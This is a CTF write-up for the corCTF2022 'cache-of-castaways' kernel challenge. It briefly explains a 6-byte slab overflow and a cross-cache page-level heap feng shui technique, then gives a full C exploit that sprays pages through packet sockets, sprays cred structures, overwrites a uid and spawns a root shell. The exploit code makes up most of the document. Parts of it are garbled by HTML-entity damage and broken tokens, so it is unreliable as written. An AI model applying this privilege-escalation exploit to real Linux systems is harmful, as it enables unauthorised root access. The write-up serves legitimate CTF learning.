Page-level Heap Fengshui — Cross-Cache OverflowcorCTF2022-cache-of-castaways

Foreword

What is Cross Cache? In fact, it means literally. We know that most structures in the kernel have their own dedicated slab memory pool. Now we can imagine this scenario. We have an overflow vulnerability of a specific kmem-cache, so how do we exploit it?

Program analysis

There is no need to read the startup script, all the protections that should be enabled are enabled. The author gave us config, so we can look at some compilation options.

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDENED=y
CONFIG_MEMCG=y
CONFIG_MEMCG_KMEM=y
# CONFIG_DEBUG_CREDENTIALS is not set

The driver creates a separate kmem-cache that is independent, not merged with other kmem-cache, and is 512 bytes in size.

The ioctl function has the function of adding and modifying heap blocks.

When modifying the heap block, a 6-byte overflow occurred.

Exploitation

The above heap blocks are all objects for castaway_cache, and this cache is isolated from other caches, so thinking from the slub level, we will find that this vulnerability cannot be exploited.

And we know that slub is memory applied from the partner system, and then divided into objects one by one for use. The memory of the partner system is continuous, so we can use page-level heap Feng Shui to form the following memory layout (picture from wiki):

Then cross-cache overflow is formed.

Who should I choose as the victim object here? We can modify the uid of cred in 6 bytes, so type cred directly.

We can know that the CONFIG_DEBUG_CREDENTIALS compilation option is not set, so it can directly overflow to the lower two bytes of uid, but this is enough.

For the rest, just see ctf-wiki. There’s nothing much to say, and I don’t want to waste time writing rubbish.

exp:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <ctype.h>
#include <time.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>

#define PACKET_VERSION 10
#define PACKET_TX_RING 13

#definePGV_PAGE_NUM 1000

#define CRED_SPRAY_NUM 1066
#define VUL_OBJ_NUM 400
#define VUL_OBJ_SIZE 512

int fd;
int cmd_pipe_req[2], cmd_pipe_reply[2], check_root_pipe[2];
char binsh_str[] = "/bin/sh";
char* shell_args[] = { binsh_str, NULL };
char buf[1];
struct timespec timer = {
        .tv_sec = 23535670,
        .tv_nsec = 0,
};

struct node {
        size_tidx;
        size_t size;
        char*ptr;
};

void add()
{
        ioctl(fd, 0xCAFEBABE, NULL);
}

void edit(size_t idx, size_t size, char* ptr)
{
        struct node n = { .idx = idx, .size = size, .ptr = ptr };
        ioctl(fd, 0xF00DBABE, &n);
}

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\\
", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[ + ] %s\\
\033[0m", msg);
}

void line(char *msg)
{
    printf("\033[34m\033[1m\\
[*] %s\\
\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[ + ] %s: %#lx\\
\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\\
\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i + = 4) {
        printf(" x", i * 8);
        for (int j = 0; j < 4; j + + ) {
            i + j < len / 8 ? printf(" 0x 6lx", buf64[i + j]) : printf(" ");
        }
        printf(" ");
        for (int j = 0; j < 32 & amp; & amp; j + i * 8 < len; j + + ) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO( & amp;cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), & amp;cpu_set);

    printf("\033[34m\033[1m[*] Process bound to core \033[0m%d\\
", core);
}


struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

/* each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

enum {
    CMD_ALLOC_PAGE,
    CMD_FREE_PAGE,
    CMD_EXIT,
};


/* create an isolate namespace for pgv */
void unshare_setup(void)
{
    char edit[0x100];
    int tmp_fd;

    unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);

    tmp_fd = open("/proc/self/setgroups", O_WRONLY);
    write(tmp_fd, "deny", strlen("deny"));
    close(tmp_fd);

    tmp_fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getuid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);

    tmp_fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(edit, sizeof(edit), "0 %d 1", getgid());
    write(tmp_fd, edit, strlen(edit));
    close(tmp_fd);
}

/* create a socket and alloc pages, return the socket fd */
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
    struct tpacket_req req;
    int socket_fd, version;
    int ret;

    socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
    if (socket_fd < 0) {
        printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\\
");
        ret = socket_fd;
        goto err_out;
    }

    version = TPACKET_V1;
    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
                      & amp;version, sizeof(version));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_VERSION)\\
");
        goto err_setsockopt;
    }

    memset( & amp;req, 0, sizeof(req));
    req.tp_block_size = size;
    req.tp_block_nr = nr;
    req.tp_frame_size = 0x1000;
    req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;

    ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, & amp;req, sizeof(req));
    if (ret < 0) {
        printf("[x] failed at setsockopt(PACKET_TX_RING)\\
");
        goto err_setsockopt;
    }

    return socket_fd;

err_setsockopt:
    close(socket_fd);
err_out:
    return ret;
}

/* parent call it to send command of allocation to child */
int alloc_page(int idx, unsigned int size, unsigned int nr)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_ALLOC_PAGE,
        .size = size,
        .nr = nr,
    };
    int ret;

    write(cmd_pipe_req[1], & amp;req, sizeof(struct pgv_page_request));
    read(cmd_pipe_reply[0], & amp;ret, sizeof(ret));

    return ret;
}

/* parent call it to send command of freeing to child */
int free_page(int idx)
{
    struct pgv_page_request req = {
        .idx = idx,
        .cmd = CMD_FREE_PAGE,
    };
    int ret;

    write(cmd_pipe_req[1], & amp;req, sizeof(req));
    read(cmd_pipe_reply[0], & amp;ret, sizeof(ret));

    return ret;
}

/* child thread's handler for commands from the pipe */
void spray_cmd_handler(void)
{
    struct pgv_page_request req;
    int socket_fd[PGV_PAGE_NUM];
    int ret;

    /* create an isolate namespace*/
    unshare_setup();

    /* handler request */
    do {
        read(cmd_pipe_req[0], & amp;req, sizeof(req));

        if (req.cmd == CMD_ALLOC_PAGE) {
            ret = create_socket_and_alloc_pages(req.size, req.nr);
            socket_fd[req.idx] = ret;
        } else if (req.cmd == CMD_FREE_PAGE) {
            ret = close(socket_fd[req.idx]);
        } else {
            printf("[x] invalid request: %d\\
", req.cmd);
        }

        write(cmd_pipe_reply[1], & amp;ret, sizeof(ret));
    } while (req.cmd != CMD_EXIT);
}


__attribute__((naked)) int __clone(int flags, int (*fn)(void*))
{
        /*
                res = clone(flags, 0, 0, 0, 0, 0)
                if (res == 0) fn();
                else return;
        */
        __asm__ volatile(
        "mov r15, rsi;"
        "xor rsi, rsi;"
        "xor rdx, rdx;"
        "xor r8, r8;"
        "xor r9, r9;"
        "xor r10, r10;"
        "mov rax, 56;"
        "syscall;"
        "cmp rax, 0;"
        "je CHILD;"
        "ret;"
        "CHILD:"
        "jmp r15;"
        );
}


int wait_for_root(void* args)
{
        /*
        read(check_root_pipe[0], buf, 1); <== Wait for check signal
        if (getuid() == 0) execve("/bin/sh", args, NULL);
        else return;
        */
        __asm__ volatile(
        "lea rax, [check_root_pipe];"
        "xor rdi, rdi;"
        "mov edi, dword ptr [rax];"
        "mov rsi, buf;"
        "mov rdx, 1;"
        "xor rax, rax;"
        "syscall;"
        "mov rax, 102;"
        "syscall;"
        "cmp rax, 0;"
        "jne failed;"
        "lea rdi, [binsh_str];"
        "lea rsi, [shell_args];"
        "xor rdx, rdx;"
        "mov rax, 59;"
        "syscall;"
        "failed:"
        "lea rdi, [timer];"
        "xor rsi, rsi;"
        "mov rax, 35;"
        "syscall;"
        );
        return 0;
}

int main(int argc, char** argv, char** env)
{
        char buffer[0x1000];
        bind_core(0);
        fd = open("/dev/castaway", O_RDWR);
        if (fd < 0) err_exit("open /dev/castaway");

        pipe(cmd_pipe_req);
        pipe(cmd_pipe_reply);
        pipe(check_root_pipe);
        if (!fork())
        {
                spray_cmd_handler();
                exit(EXIT_SUCCESS);
        }

        info("STEP.I Spray pgv pages");
        for (int i = 0; i < PGV_PAGE_NUM; i + + )
                if (alloc_page(i, 0x1000, 1) < 0)
                        err_exit("alloc_page");

        info("STEP.II Free for cred pages");
        for (int i = 1; i < PGV_PAGE_NUM; i + = 2) free_page(i);

        info("STEP.III Spray cred to fetch pages");
        for (int i = 0; i < CRED_SPRAY_NUM; i + + )
                if (__clone(CLONE_FILES|CLONE_FS|CLONE_VM|CLONE_SIGHAND, wait_for_root) < 0)
                        err_exit("__clone");

        info("STEP.IV Free for vulnerable pages");
        for (int i = 0; i < PGV_PAGE_NUM; i + = 2) free_page(i);

        info("STEP.V Triger overflow write 6 bytes");
        memset(buffer, '\0', 0x1000);
        *(uint32_t*) & amp;buffer[VUL_OBJ_SIZE-6] = 1;
        for (int i = 0; i < VUL_OBJ_NUM; i + + )
        {
                add();
                edit(i, VUL_OBJ_SIZE, buffer);
        }

        info("CHILD PROCESS CHECK");
        write(check_root_pipe[1], buffer, CRED_SPRAY_NUM);
        sleep(23535670);

        return 0;
}

The effect is as follows: